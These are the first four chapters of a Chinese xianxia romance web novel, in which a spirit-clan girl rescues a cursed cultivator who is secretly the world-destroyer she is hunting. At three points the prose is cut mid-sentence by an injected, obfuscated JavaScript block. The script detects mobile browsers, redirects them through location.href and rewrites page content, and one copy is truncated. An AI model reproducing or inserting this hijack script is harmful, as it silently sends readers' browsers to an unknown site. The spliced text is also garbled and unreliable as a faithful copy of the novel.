《灭世魔头竟是恋爱脑》 1. 第一章 两只寒鸦伫立在枯树上,黑色眼珠正紧盯不远处的荒庙,似是察觉到什么,它们扑腾着翅膀飞落到长满青苔的屋檐,像忠诚的守卫者警惕着四周。 荒庙内,燃着明亮的火堆时不时发出“噼啪”的炸裂声,姜桡正蹲坐在旁,落在地面上的影子被火光放大,把身侧那名昏迷不醒的男子笼罩其中。 男子躺卧在干黄的枯草,墨发凌乱的散落四周,他脸色苍白如纸,身上衣裳早就破烂不堪,大半被鲜血浸泡呈黑褐色。 姜桡抿着唇,一双灿如春华的杏眼正盯着盘旋在男子头顶之上,那朵正瑟瑟发抖的小乌云。 她伸出手,边轻轻戳了戳小乌云,边小声呢喃道。 “霉运缠身,怪不得那么惨,都惨成这样,应该不是我要找的人。” 荒庙口的两扇门早已不翼而飞,围墙半塌,巨大青石铺成甬道两侧杂草丛生,不知名的藤蔓更是爬满残破的门窗。 里头也不知供奉哪家佛像,巨大的泥塑雕像半伽跌坐,头顶屋檐残破大半,清冷的月光倾斜而下,而经风吹雨打,泥塑雕像面相早模糊不清,身后四只断手在黑暗中显的十分诡异。 只是在橘黄色火堆下,这种诡异感才逐渐消失。 姜桡的认知中没有什么男女授受不亲,她神色坦荡扯开男子的腰带,蹲坐在旁侧打量着,那精瘦的上半身布满伤痕,最为严重是腹部那道贯穿伤,血肉翻起,看起来十分骇人。 既打算救,那就救到底。 姜桡垂眸从灵宝袋中翻出一颗碧绿色的果子,那果子如拇指般大小,隐隐约约可见里头流动的液体。 她小心翼翼地撕开果皮,碧绿色的果汁便涌了出来,滴落在男子腹部那道贯穿伤口处,只是瞬间,伤口以肉眼可见的速度在慢慢愈合。 没多久,男人那苍白如纸的脸上多了几分红润,右手的指尖也微微颤动着。 见此情形,姜桡也松了口气。 灵族本不问世间事,可在半月前,姜桡在生出灵翼时,做了一个可怕的噩梦。 梦中,尸叠如山,野草不生,象征不详的黑雾则占据两界,她更看见一名黑衣男子,高坐白骨王座之上,底下趴着名被折磨血肉模糊的修士,只听他大骂道。 “贺千宸,你这个猪狗不如的畜牲。” 姜娆还没来得及看清男子相貌如何,画面一转,那名为贺千宸的男子已持剑灭了世。 两界被毁,万物不再,灵族也随之覆灭。 可灵族向来无梦,而所梦皆为预知。 因此姜桡只能听从师命下山寻人,她想趁黑雾还没有出现,提前杀了灭世罪魁祸首贺千宸。 而这世间是由天梯分割为两大界,普通凡人所在的地域名为里界,修真者所在的地域名为外界,要在这两界之中寻一名从未见过的人,难乎其难。 何况从小就呆在乌山的姜桡,她来里界十日有余,一个姓贺的人都没打听到不说,还因没银子,只能可怜兮兮的寻无人的荒庙或山洞歇息。 这落差让姜桡想回乌山,想乌山的师傅,想躺在乌山的灵树上,好好的睡上一觉。 但她又不能回去,预知梦中“贺千宸”还没有找到呢。 因此在谷底发现那名满身是伤且昏迷不醒的男人后,姜桡撑着白色油纸伞,在雨中思索了许久。 白日她在城镇继续打听“贺千宸”的下落时,一名婶子忍不住好心提醒。 “俗话说的话,人多好办事,姑娘不如花些银子寻几名壮丁,在城里城外四处打听打听,保证不出三日就有消息。” 姜桡都没银钱住客栈,又哪来的银子寻壮丁。 好在她聪明,想起折子戏中曾有人说,救命之恩,当以身相许。 这句话意思应是救命之恩,要用身体来偿还,到时候男人醒了,也不用他做什么苦力,只需帮自己找人就好。 于是一不做二不休,姜桡便把人给捡了回来。 碧幽果虽保住这男人的命,但想伤势全好,还得以紫猴花为主,土梨果、银光枝为辅,并用无根水熬制成药汁,将其喝下去才行。 这些灵药姜桡都有,却唯独没有熬药用的瓦罐。 其实那瓦罐也不用顶好,哪怕去城中集市随便买个都行,但还是那个问题。 她没钱! 全身半个铜板都掏不出来的那种。 而就在这时,荒庙外忽传来寒鸦的叫声,紧接着一只寒鸦扑腾着翅膀,飞进荒庙,落在佛像的肩膀上。 姜桡连忙起身,似是想到什么,她侧目看向那只正在梳理身上羽毛的寒鸦。 “帮我守着他。” 说罢,姜桡就朝着荒庙外走去。 另一只站在屋檐上的寒鸦,黑色眼珠子中倒映出站在荒庙外的小小身影,在听到身后的脚步声后,白色的眼睑迅速眨了下。 姜桡出去后,便看到荒庙外的枯树下,正站着一名五六岁的男童,身形消瘦,脸色苍白,他穿着满是补丁的粗衣,许是淋雨的缘故,全身上下湿漉漉不说,黏着的头发上还挂着一小节柳树枝。 男童抬头看清月光下的姜桡时,整个人先是一愣,而后露出拘谨且激动的神情,他低着头小心翼翼问道。 “姐姐是仙人吗?” 男童声音沙哑的厉害,就连他自己都被吓了一跳。 没等姜桡开口,男童则十分笃定。 “姐姐生的那般好看,定是仙人。” 这话让姜桡微微怔住,嘴角忍不住微微上扬,目光也落在男童的身后。 夜已三更,明月当空,那男童身后却没有影子。 应是刚死没多久的亡魂,以为自己还活着,见到荒庙内散发的火光,便被吸引过来,才惹得守在外面的寒鸦发出警告的叫声。 那男童再次开口:“仙人姐姐,你…你能帮我找到回家的路吗?” 好多事情他都想不起来,但心里却有一道声音在呐喊道。 归家!归家! 男童记得家门口有颗歪脖子枣树,却不知家的方向是朝南还是朝北,亦或者东? 替亡魂引路,对姜桡来说是再简单不过的事。 “小孩,姐姐带你回家的话,可是需要报酬的。” 男童下意识伸手攥紧衣摆。 “可……我身上没银钱。” 姜桡走上前,声音轻柔:“不要银钱,你只需帮我寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555888|155452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个别人不要的瓦罐就好。” 瓦罐两个字让男童似是想到什么,他下意识伸出手指向左侧的山头。 “那!半山腰有间小木屋,屋内就有瓦罐,平日里大家采草药累了,都会过去…” 男童的话戛然而止,脸上也露出迷茫的神情,他怎会记得如此清楚,那隔壁山的半山腰上,会有间小木屋的事呢? 亡魂生前的记忆,是会随着时间流逝而越发模糊。 其余的情况,姜桡也不大清楚。 但小孩既告知她哪有瓦罐,自己也得信守承诺,帮他寻回家的路。 姜娆抬眸看了眼悬挂在夜空中的圆月,而后轻声念道。 “借月华为引,魂归兮!” 只见月光洒落下来,似是薄薄的冰霜铺在地面上,正朝着男童身后一直蔓延而去。 姜桡开口:“小孩,去吧!” “跟着月光,就可回家了。 男童脸上瞬间露出欢喜的神情,他诚恳的跪在地上,对着仙人姐姐用力磕了三个响头,然后开开心心的追着月光,那小小的身影,很快就消失不见。 送走小孩的亡魂,姜桡侧身看向站在屋檐下的那只寒鸦,然后笑眯眯道。 “你去多喊几个小伙伴,帮我将那瓦罐带回来呗。” 这是灵族的能力之一,她可操控里界的飞禽走兽,亦可操控外界比自己修为低的灵兽。 站在屋檐上的寒鸦发出难听“嘎嘎”叫声,似是在回应着姜桡,随即扑腾着翅膀,朝隔壁那座山的方向飞去。 它速度很快,掠过树木,也掠过下方伫立在原地的男童亡魂头顶。 “天惶惶~地惶惶~” “我家有个爱哭郎。” “天勒勒~地勒勒~” “我家娃娃莫要喊。” “阿婆领你去吃糖。” 诡异的歌谣从林子深处传来,声音嘶哑且阴恻。 男童似是被引诱了一般,转身朝着林子深处的方向慢慢走去,在地上的“银霜”黯淡消失的瞬间,男童已被林子给吞入腹中。 寒鸦不负众望,与伙伴们将瓦罐从那荒废许久的木屋中搬来,那黄豆大小的眼睛露出得意的神情后,又飞回屋檐上。 姜桡先把瓦罐洗净,再架到火堆旁,将三样灵药与无根水从灵宝袋掏出来后,按着顺序将其放进去,并防止瓦罐中的汤药都沸了出去。 贺千宸是被一股极其难闻的药味给熏醒的,他本以为自己被推入万丈深渊后,会摔得尸骨无存,却不曾想侥幸活了下来。 可高处坠落的撞击,让贺千宸能清晰感觉到自己五脏六腑与骨头皆被震碎,痛的他连抬起一根手指的力气都没,只能躺在满是污水的谷底等待死亡的降临。 也不知是频死之际出现的幻觉,贺千宸隐隐约约看见,一抹白色倩影撑着把白色油纸伞走到自己面前,替他遮挡那冰冷刺骨的雨水。 刚将药煎好的姜桡,转身就瞥见男人那长而浓密的睫毛在微微颤抖着,她连忙将热腾腾的瓦罐挪放旁侧,整个人附身凑过去。 “你是醒了吗?” 清脆悦耳的女声在贺千宸耳边响起,他下意识睁开眼。 2. 第二章 眼前女子身着碧绿衣裙,齐腰长发被同色发带半扎着,她生有一张精致小巧的脸蛋,眉如柳枝婉约,不施粉黛的肤色亦如朝霞映雪般,粉白的让人挪不开眼,长长的羽睫下的那双杏眸正亮晶晶的盯着自己。 姜桡见男子傻愣愣的样子,不由眉心蹙起,她担忧道。 “脑子该不会坏掉了吧。” 贺千宸收回目光,垂眸正准备说些什么,却瞥见自己上半身竟光秃秃的,耳尖瞬间红烫厉害。 他声音有些发颤:“姑……姑娘,我身上……衣服呢?” 姜桡眨了眨眼:“我给脱了!” 不脱衣裳怎知晓伤在哪。 贺千宸也察觉到不对劲之处,他分明记得腹部被灵剑伤的十分严重,可如今伤口竟神奇的愈合了,甚至连道疤都没有留下。 但怎么可能! 只是火堆带来的暖意,以及五脏六腑传来的绞痛,都在像贺千宸证明,眼前种种并非幻觉。 这时女子转身将烧得黑不溜秋的瓦罐放置在他面前,难闻的药味直冲脑门,熏得贺千宸整个人是清醒的不能再清醒。 姜桡示意道:“你别发呆,快把药喝了。” 伤好的快,也能早点帮自己找人。 而贺千宸似是想到什么,他连忙拉开两人之间的距离,那张俊朗无双的脸上则露出焦急的神情。 “姑娘,我天煞孤星,命相穷凶极恶,你还是离我远着较好。” 从小到大,凡是靠近他身边的人,皆会被命相影响,这也导致贺千宸爹不喜娘不爱,宗门之人更是避而远之。 而话音落后,他头顶上的那片小乌云开始膨胀,从一个拳头变成两个拳头般大小。 姜桡瞥了眼那朵乌云,忍住想伸手去揪一揪的念头。 “我不怕!” 灵族应天而生,区区命相,压根就影响不到她。 这三个字就像是一道光,驱散开贺千宸心里的阴霾,胸口传来的剧烈跳动声,更似是让他重新再活过来一次。 贺千宸猛地抬起头,看向眼前的女子,长长的睫毛微微颤动着,可很快他又垂下眼眸,右手下意识握紧身下枯草。 半响,语气严肃且认真。 “姑娘,我没开玩笑。” 想到师傅的叮嘱,姜桡随口瞎编道。 “我天生命硬,逢凶化吉,专门克你这穷凶极恶的天煞孤星。” 见男子眼中的狐疑与担忧,她只能继续道。 “你瞧!好几个时辰都过去了,我不是一点事都没吗?” 贺千宸清楚自己的命相,因此也相信眼前女子并未说谎,他目光落在腰间的灵宝袋上,从里掏出一件干净衣裳,那耳根子的红意还未消褪。 “姑娘,可否转过身去。” 因天煞孤星命相的缘故,贺千宸向来独来独往,这还是他第一次与女子这般“坦诚”相见。 姜桡歪着脑袋,不解问道:“为何要转身,你有什么是我看不得的?” “对了,我叫姜桡,你喊我阿桡就行。” 贺千宸听后,眼底不由露出几分无奈的笑意,随即耐心解释。 “男女授受不亲,于礼不合。” 那声音低柔温和,似是春风拂面。 姜桡虽然没明白“于礼不合”是什么意思,但还是很听话的转过身,等人换好干净的衣裳后,她才想起来煎好的药还在那晾着呢。 药若凉了话,药性就没那么好。 再者,这以身相许的事还没说呢。 姜桡将黑不溜秋的瓦罐端起来,边小心翼翼挪到男子身边,边一脸严肃,她紧盯着男人那双好看的丹凤眼。 “折子戏上说,救命之恩,应以身相许,从今以后你就是我的人了。” 不知是穿上衣裳的缘故,还是旁边散发热意的火堆,贺千宸感受到从未有过的暖意,他看着姜桡姑娘那偷偷摸摸的小动作,嘴角忍不住向上扬起的。 短暂的接触,贺千宸已经笃定,姜桡姑娘与自己一样,也是名修真者。 但姜桡跟她又不一样。 她很干净,像张白纸。 故此在听到“救恩之恩,以身相许”时,贺千宸还以为自己是幻听,直到抬眸对上姜桡姑娘那双亮晶晶的杏眸。 “救命之恩,自当涌泉相报,若姑娘不介怀,我……也是愿的。” 他明知姜桡姑娘不懂以身相许是什么意思,却还是开口应许。 贺千宸舍不得放弃,这来之不易的温暖与安宁,所以他内心卑鄙的想将其抓住,抓紧! 这个答案让姜桡瞬间眉开眼笑起来,她十分高兴道。 “那等你伤好了,便随我一起去找那贺千宸吧。” 贺千宸不可置信的抬起头:“你找他作甚?” 此时此刻,贺千宸心里可谓百转千回,他以前从未与姜桡见过,难不成是自己不知晓的娃娃亲?亦或者是同名同姓不成? 姜桡也没打算瞒着身边男人,毕竟他还要陪自己一起找人。 “自是替天行道,杀了他,对了,还没问你叫什么名字呢?” 贺千宸:…… 他想了许久,都没想起自己有做过什么伤天害理之事。 只能垂眸,略微心虚道:“程千鹤。” 姜桡点点头,又朝着贺千宸身边挪了挪,她看着手里端着的瓦罐,犹豫半响。 “我没能找到装药的碗,要不你就这样……” 贺千宸有些无奈的从灵宝袋中掏出个瓷碗,接过姜桡手中的瓦罐后,将那苦的皱眉的汤药倒进去,随即一口闷完。 这让姜桡不由瞪大眼睛,她连忙翻出一颗甜果子,想都没想就伸手塞到贺千宸的嘴边。 “快吃下甜果子,压压嘴里的苦。” 贺千宸对上姜桡那担忧的目光,心头微微一动,他缓缓张嘴,将那甜果子含进嘴里。 随着牙齿磕碰果皮,清甜的果汁瞬间盖住汤药所带来的苦涩。 贺千宸第一次知道,原来喝完药后,除了苦涩之外,还可以有甜。 “多谢你的果子。” 姜桡连忙摆摆手:“不客气。” 贺千宸还想说些什么,却惊讶发现,自己喝完那苦不堪言的汤药后,五脏六腑传来阵阵的绞痛,竟在一点点减轻。 这姜桡姑娘,难不成是百草谷的弟子? 姜桡见“程千鹤”愣愣的发呆,以为他是在担心自己伤势,便开口安慰。 “放心吧!喝了三灵汤,受再重的内伤都能痊愈。” 说罢,姜桡就忍不住打起了哈欠,眼眸中也蒙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555889|155452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上层水雾,她没多想,直接朝里蹭蹭,然后躺在贺千宸的身边。 “你也快睡吧。” 贺千宸!!!! 那张俊美无双的脸骤然升起一抹红,就在他紧张到双手不知往哪放时,没心没肺的姜桡早已进入梦乡。 破庙内的火堆慢慢燃烬,东方天际也渐渐泛白。 那三灵汤的效果也亦如姜桡姑娘说的,震碎的五脏六腑竟一夜全都愈合 心事重重的贺千宸干坐那一夜未眠,他垂眸看着姜桡姑娘将自己衣角紧紧攥在手心时,那双漂亮的眼中盛满了温柔。 自己所渴望,所执着的东西好像已经找到了,至于阿爹阿娘多年的冷漠偏心,云栖剑宗那些老家伙的无耻算计。 贺千宸薄唇轻抿,眼神清冷的看向破庙外,轻声自嘲道。 “云栖剑宗的人,应都认为我已经死了。” 因命格特殊,家人厌恶,纵使贺千宸是云栖剑宗大师兄,是掌门之子,却比不过内门弟子,竟连座命灯都无人帮他点。 恰逢晨曦微露,金灿灿的朝阳翻滚着,它透过云层,飞溅在破烂不堪的瓦上,而后一缕缕的投落在两人身上。 贺千宸微微征住,待回过神后,嘴角微微向上扬起,随即伸出手,握住面前那道光。 这是属于他的。 姜桡醒来时,那略微晃眼的朝阳,让她下意识抬起手来,而下一秒,视线就被坐在身边的“程千鹤”给深深的吸引住。 他全身被渡上一层金色的光芒,侧脸轮廓硬朗分明,鼻梁挺直俊秀,就连那如鸦翼般的睫毛都给上了色,鬓角垂落下来的几缕乌发正垂落在胸前,整个人显得十分柔和无害。 应是察觉到姜桡的目光,贺千宸垂下眼眸,那浓密的睫毛在眼底投下一片阴影。 两人相互对视,最终还是贺千宸先败下阵来,他慌张的看向别处,耳根子也红的厉害。 姜桡跪坐起身,好奇凑过去,她离贺千宸很近,近到能感觉到男人有些发烫的呼吸喷洒在自己的脸上。 贺千宸咽了咽口水,喉结上下滑动。 “姜…姜桡姑娘…” 姜桡抬眸,那双杏眼露出几分疑惑,她想了想。 “刚刚你的眼睛像是一片很大很大的湖。” 姜桡是在由衷的赞美,方才对视时,“程千鹤”的眼眸宛如有片湖,深不见底。 “很漂亮。” 许是从来没被人真心实意称赞过,贺千宸呆愣在原地,久久都未回过神来。 半响,他忍不住轻笑出声。 姜桡不明白“程千鹤”笑什么,见天已亮后,便连忙站起身。 “程千鹤,我们得出发去找人了。” 说罢,她伸手捏了个清洁诀,又将冒着缕缕轻烟的火堆给扑灭。 跟着起身的贺千宸似是想到什么,他有些后知后觉的问道。 “姜桡姑娘,待会我们要去哪找?你可见过那人相貌如何?亦或者手中持有画像?” 正兴致昂昂准备去昨日县城中找人的姜桡,听到这几个问题后,整个人瞬间焉了。 “没见过,也没画像。” 但师傅说过,那贺千宸既出现在她预知梦中,就说明两人命运已牵扯在一起。 人海茫茫,定会相遇。 3. 第三章 怪不得! 贺千宸心中的疑惑也得到解答,他以为自己不是姜桡姑娘要找的那个人,不曾想姜桡姑娘寻人,竟不知对方相貌如何,更没有画像。 还真是…… 姜桡相信师傅是不会骗自己的,故此她一脸笃定道。 “放心,人我定能找到!” “到时我动手,你望风,事成之后,咱俩就是里外两界最大功臣。” 贺千宸:…… 待两人走出荒庙,原本伫立在屋檐上的两只寒鸦也扑腾的翅膀,朝着山林方向飞去,此时阳光已从东方天际爬上云层,两侧野草上挂满露珠,空气也充斥几分冷意。 姜桡轻车熟路的在前面带路,差不多一盏茶的时辰,才瞧见远方城镇的轮廓,想着“程千鹤”是第一次来,她十分热情的介绍道。 “那就是沣城,里头可热闹了,入城后第一家卖包摊的肉包子,皮薄肉多,还有城南口的胡辣汤,香味四溢。” 说完,姜桡没出息的咽了咽口水。 可惜她没银钱,只能闻着两者的香味,啃着灵宝袋中的果子充饥。 贺千宸见状,嘴角悄悄上扬,露出一分不易察觉的笑意。 “那晚些我们是去吃肉包子?还是喝胡辣汤?” 姜桡整个人瞬间僵在原地,她支支吾吾道:“你身体还没好的全,还是吃些果子较好。” 贺千宸自是察觉到姜桡的窘迫,并很贴心的没拆穿。 “好~” 方才在路上,贺千宸就察觉到不对劲,小径两侧耕田劳作的百姓,朝着沣城赶去的驴车,都在印证他心中的猜测。 自己从外界的秘境深渊中,坠入到了里界。 两人边朝着沣城方向走去,姜桡边小声说着自己寻人的进程。 “只差城西那边还没打听。” 贺千宸忍不住问:“若城西也没有呢?” 姜桡也没多想:“那就去别处找,总能找到的。” 只要黑雾还没有出现,一切都有挽回的机会。 沣城内熙熙攘攘,街道两侧的空地上摆着众多小摊,各色吃食的香气交汇在空中,霸道的钻入来来往往行人鼻中,小贩的喊买声更是此起彼伏。 “皮薄肉多的大包子,三文一个。” “糖葫芦,又甜又酸的糖葫芦耶!” “糖饼子咯,又大又圆的糖饼子咯” 虽不是第一次来里界,但贺千宸依旧会为这种浓郁的人间烟火感到触动,他目光落在第一家卖肉包子的小摊上,抬腿走了过去。 这让姜桡心中立即警铃大作,她连忙上前阻止,还没来得及开口。 “来两个肉包子。” 姜桡!!!! 她急得直接扯住贺千宸的手,语气带着几分慌张:“不能买!” 贺千宸侧身垂眸,他看着姜桡,笑意在眼中流转。 “别担心,我有银子。” 那声音低沉温柔,让姜桡不由瞪大眼睛,脸上也露出不可置信的神情。 贺千宸从灵宝袋中掏出的十五个铜板,左手递给小贩,右手接过用油纸包着的大肉包子,只见肉包子白净松软,个头如拳头般,褐色的肉汁甚至渗透面皮,正散发浓浓的香气。 他将手中的肉包子递到姜桡面前。 “待会可去要喝城南口的胡辣汤?” 姜桡仰头对上贺千宸那带着笑意的目光,似是想到什么,她小心翼翼问道。 “你很有钱吗?” 贺千宸点了点头。 除了两锭银元宝与三小锭金元宝,还有一叠百两银票,这些都是当年在里界历练时,别人感激所赠送的,但在外界却是连废铁破纸都不如。 后贺千宸回了外界,因忙碌其他事,便将这些遗忘在脑后。 不曾想有朝一日,竟会派上用场。 姜桡那双漂亮的杏眼中满是崇拜,她目不转睛的盯着面前男人,想到日后再也不用啃果子充饥,高兴的直接伸手环抱“程千鹤”那精瘦腰身。 婶子没有骗她,果然多个人就是不一样! 两人的身高差了一大截,姜桡的脸颊贴在贺千宸那硬朗的胸膛上,而如此亲昵的接触让贺千宸全身僵硬,耳垂更是以肉眼的速度红了起来。 姜桡也只是短暂的抱了一下,然后就松开。 她目光灼灼盯着手中的肉包子,先放在鼻尖闻了闻,正准备张嘴咬,却又停了下来。 贺千宸见状,忍不住问道:“怎么了?” 拢共有三个肉包子,姜桡将其中两个递给身边的男人,而这举动让贺千宸呆愣在原地,许是没有想到,姜桡拿到念念不忘的肉包子之后,竟还会想到自己。 这是他第一体验到,被人惦记的感觉。 在去城南的路上,姜桡手上多了串糖葫芦,发鬓上的鲜花也换成了点翠插梳,见贺千宸财大气粗的样子,姜桡心慌的很。 她忧心忡忡道:“咱们还是省点吧。” 姜桡不太想过啃果子的苦日子。 贺千宸忍住笑意:“好!” 两人刚抵达城南街道,就被一股霸道的胡辣汤香气给吸引住,只见城墙下店铺门口摆放两大铁锅,锅中的胡辣汤边“咕噜咕噜”响,边冒着滚滚热气。 瞧有桌客人结账离开,姜桡连忙拉着贺千宸的手过去。 可刚坐下就听旁桌三名婶子,正面露恐惧神情嘀咕道。 “你说上河村是不是做了什么伤天败德的事,不然怎出那样诡异的事。” “我听人说,上河村以前是座乱葬岗,它们不满被活人压一头,才生出那样黑雾。” “鬼扯!城里的神算子都说是河里脏东西爬上岸。” 黑雾两个字瞬间吸引姜桡的注意力,她把凳子挪了过去,很自来熟的凑到婶子们面前。 “那黑雾是怎样的?” 贺千宸:…… 三名婶子也没觉得唐突,毕竟黑雾这事本就怪,有人好奇也正常,便将上河村的来龙去脉告知面前的小姑娘。 这事说起来也邪门! 上河村半月前还好好的,可却在一夜之间,全村竟被黑雾给笼罩其中,无意瞥见这可是被吓得屁滚尿流,活大半辈子,哪见过又黑色的雾。 再者,平常雾气宛如流动的银纱,日光落下来后,就消散的无影无踪。 可那黑雾却不同,它像是一滴浓稠的墨汁,紧紧地将上河村包裹,哪怕正值当午,炎炎烈日当空,也依旧纹丝不动。 反正处处都透着古怪,处处都令人感到毛骨悚然。 谁知道,这黑雾会不会吞噬她们所居住的村子。 姜桡脸色瞬间变得难看起来,预知梦中的黑雾已诞生,它们将如腐臭的恶花开始扎根,直到蔓延里外两界每个角落。 也不知,这黑雾会不会与那灭世魔头贺千宸有关。 她连忙问身边的婶子们:“这上河村怎么走呀?” 听到这话的三名婶子脸上皆露出错愕的神情,毕竟黑雾出来后,大家都是躲着上河村,怎还有人特意凑过去。 贺千宸则轻声解释:“婶子们放心,我们就是好奇,想过去远远看一眼。” 三名婶子这才松口气。 “从城南门出去,一直朝前,看到岔路口就走左边小路,估摸半盏茶的功夫,便能瞧见上河村。” “你们也别离太近,那黑雾太邪乎了。” 在得知上河村的路线后,姜桡先同婶子们道谢,才拉着贺千宸的手向城南门方向赶去。 抵达岔路口时,她忽停下脚步,轻声呢喃道。 “那婶子说的对,黑雾很邪乎。” 姜桡还不清楚黑雾到底是什么东西,就带着程千鹤贸然过去的话,实在是太危险了。 “程千鹤,你先回城里去,我一个人就行。” 那黑雾充满着未知,她无法保证能护住程千鹤。 贺千宸却摇摇头:“我想与你同行。” 姜桡下意识蹙紧眉心,索性把自己的担忧说出来。 “我担心到时候保护不了你。” 她抿着唇:“好不容易把你救回来的。” 贺千宸心头一暖,身为云栖剑宗的大师兄,凡是遇见危险都是他护着身后的师弟师妹们。 这还是第一次有人说,要保护自己。 “姜桡姑娘。” 贺千宸忍不住开口:“你对别人也是这么好吗?” 可问完他就后悔了。 姜桡却道:“别人是谁?” 她来里界半月不到,每天风餐露宿的辛辛苦苦找人,哪有时间去认识其他人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555890|155452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但姜桡大概能理解贺千宸的意思,就像新生的灵族会占据师傅注意力,她心里就会有种不舒服的感觉。 “你放心!” “我只对你一个人好!” 说完,姜桡学着师傅对待新生灵族的样子,努力踮起脚尖,伸手摸了摸贺千宸的脑袋。 贺千宸如鸦翼的睫毛微微颤动,许是从未被这样对待,他有些不知所措,而胸口位置更是不受控制的加快跳动。 “你们也是去上河村看热闹的?” 身后突然传来的声音让贺千宸猛的回过神,等侧目看去时,姜桡已经跟人聊的起来。 “热闹?” “下河村的村长花了重金,寻位大师在上河村口做法。” 一名身着月白色直襟长袍的少年不知何时出现,他五官稚嫩,祥云暗纹的腰封处悬挂一枚青莲圆玉佩,左手持着纸扇放在头顶,边挡住那刺眼的日光,边笑着与姜桡搭着话。 贺千宸走上去,他不动声色的贴近姜桡身边,并把话接了过来。 “上河村做法?” 少年好心提醒:“是呀!说午时三刻就开始,这去晚了就什么都看不到!” 他抬头看了眼悬挂在头顶的太阳后,便急忙越过两人,加快脚步朝上河城方向赶去。 贺千宸上前挡住那少年的身影,低头将目光落在姜桡姑娘身上,他缓缓开口。 “姜桡姑娘,我们一起过去。” 声音轻柔如春风拂面,却又带着几分强势,不容人拒绝。 两个没走多久,就远远看见笼罩住上河村的黑雾,在那一瞬间,姜桡整个人僵在原地,呼吸也变得急促起来。 虽在梦中见过这样的场景,但亲眼所见后,感觉又完全不一样。 那黑雾宛如从苍穹之上陨落到地面的太阳,所散发的气息压的人喘不过来气。 姜桡甚至隐隐约约听见黑雾中传来痛苦的哀嚎声与悲切的哭声。 危险! 这是她对黑雾的认知! 站在旁边的贺千宸脸上也露出诧异的神情,因天梯的上古法阵缘故,里界与外界被分割成两个不同世界 里界大多是普通百姓,生老病死,不过百栽。 当然也有人天赋异禀,他们会去往北幽之地,登上天梯入外界成为一名修真者。 故此灵气稀缺的里界,极少会出现“黑雾”这种诡异现象。 贺千宸垂眸看向脸色有些苍白的姜桡姑娘:“还要向前吗?” 回过神的姜桡点点头。 她还要确认,黑雾的出现是否与那灭世魔头有关,兴许运气好,还能碰到这个灭世魔头。 待抵达上河村前,只见黑雾前围站不少人,而有一面之缘的少年也在其中,他正兴致勃勃观看那位大师驱邪。 那位大师身着宽大黄色道袍,满头银发用木簪束的一丝不苟,整个人看起来仙风道骨,此时边挥舞着手中桃木剑,嘴里边念念有词。 “太上台星,应变无停。” “驱邪缚魅,保命护身。” 大师正前方是用木桌设的简陋神台,插上三炷香的香炉在前,供奉神明的祭品与做法要用的东西摆在后。 他用桃木剑迅速沾上几道黄符,并大喊道。 “青龙白虎,队仗纷纭。” “朱雀玄武,侍卫我真。” 只见话音落后,桃木剑身沾的几道黄符瞬间无火自燃。 姜桡哪见过这样的场面,不由发出“哇”的惊叹声。 看出其中蹊跷的贺千宸不由陷入沉默。 待黄符燃烧殆尽,大师沉眸大喝一声,随后走上前,将放置在神台上的铜铃握在手中,并开始手舞足蹈的晃动起来,嘴里咿咿呀呀念着众人听不懂的“驱邪咒”。 姜桡伸手轻轻扯了扯贺千宸的衣角,小声问着。 “你说这有用吗?” 她隐隐约约觉得有些不对。 贺千宸叹口气:“没用,就是个骗子。” 他声音不大,却被旁边几人给听个正着,这几人都是下河村的村民,请大师的重金也有他们一份。 见有人质疑大师,瞬间暴怒。 “你说什么呢!” “有种在说一遍!” 贺千宸想了想:“是个骗子。” 4. 第四章 正卖力挥剑摇铃的大师停了下来,他神情不悦瞥向闹事男子,见此人气度不凡也不敢得罪,只能侧目看向人群中的下河村村长。 “方才正是驱邪关键时刻,被人打断怕是效果不佳。” 下河村的村长张辽脸色立即变得难看起来,自打上河村被黑雾笼罩后,他夜里就没睡过一个踏实觉,生怕那诡异的黑雾也悄无声息的将下河村给吞入肚中。 张辽正准备上前驱赶闹事之人,那名持扇少年站出来道。 “他说的没错,这大师就是个骗子。” 少年声音响亮,足以让在场所有人都听得一清二楚,许是心虚,大师拿桃木剑的手微微发颤,可很快他就冷静下来,并质问道。 “无凭无据就乱泼脏水,两位小友可是来砸场子的?” 少年开口反驳:“什么泼脏水砸场子,你能骗这群什么都不懂的百姓,却骗不过本少爷这双眼,那黄符分明是涂了东西。” 他也没给大师开口辩解机会,直接上前从神台处拿张黄符,只见少年随手一扬,黄符瞬间无火自燃。 除了贺千宸,其他人纷纷哗然! 而被拆穿的大师脸色由青变黑,又转白。 张辽似是不愿相信,自己花十两银子请回来的大师会是个骗子,他站在原地,安抚情绪激动的村民们。 “或许驱邪做法压根就用不到黄符。” 而就在这时,姜桡猛的抬头看向黑雾的方向。 那里头,有什么东西正在注视着她们。 贺千宸也察觉到异样,他下意识拉着姜桡的手,并对还在争执的人群喊道。 “快离开这里!” 